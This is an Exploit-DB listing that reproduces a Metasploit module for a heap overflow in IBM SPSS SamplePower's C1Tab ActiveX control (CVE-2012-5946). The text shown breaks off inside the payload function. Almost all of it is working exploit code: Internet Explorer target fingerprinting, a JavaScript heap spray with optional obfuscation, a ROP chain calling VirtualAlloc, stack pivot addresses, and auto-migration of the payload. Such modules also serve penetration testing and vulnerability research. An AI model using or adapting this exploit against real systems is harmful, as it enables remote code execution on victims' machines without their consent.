Exploit-DB #25814
Description: IBM SPSS SamplePower C1Tab - ActiveX Heap Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-05-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => NormalRanking,
    :classid    => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
    :method     => "TabCaption"
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
      'Description'    => %q{
          This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
        while handling the TabCaption property. The affected control can be found in the
        c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
        been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
        SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexander Gavrun', # Vulnerability discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2012-5946' ],
          [ 'OSVDB', '92845' ],
          [ 'BID', '59559' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
        ],
      'Payload'        =>
        {
          'Space' => 991,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3',
            {
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c08
            }
          ],
          [ 'IE 7 on Windows XP SP3',
            {
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c08
            }
          ],
          [ 'IE 8 on Windows XP SP3',
            {
              'Offset' => '0x5f4',
              'Ret' => 0x0c0c0c0c,
              'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
            }
          ],
          [ 'IE 8 on Windows 7',
            {
              'Offset' => '0x5f4',
              'Ret' => 0x0c0c0c0c,
              'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 26 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end
    print_status("target not found #{agent}")
    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    # Land the payload at 0x0c0c0c0c
    # For IE 6, 7, 8
    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    var overflow = nops.substring(0, 10);
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def rop_chain
    # gadgets from c1sizer.ocx
    rop_gadgets =
      [
        0x0c0c0c10,
        0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
        0x100076f1, # pop eax # ret
        0x10029134, # &VirtualAllox
        0x1001b41e, # jmp [eax]
        0x0c0c0c34, # ret address
        0x0c0c0c0c,  # lpAddress
        0x00001000, # dwSize
        0x00001000, # flAllocationType
        0x00000040  # flProtect
      ].pack("V*")

    return rop_gadgets
  end

  def get_payload(t, cli)
    code = payload.encoded
    # No rop. Just return the payload.

    if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
      fake_memory = [
        0x0c0c0c10,
        0x0c0c0c14
      ].pack("V*")
      return fake_memory + code
    end

    return rop_chain + stack_pivot + code
  end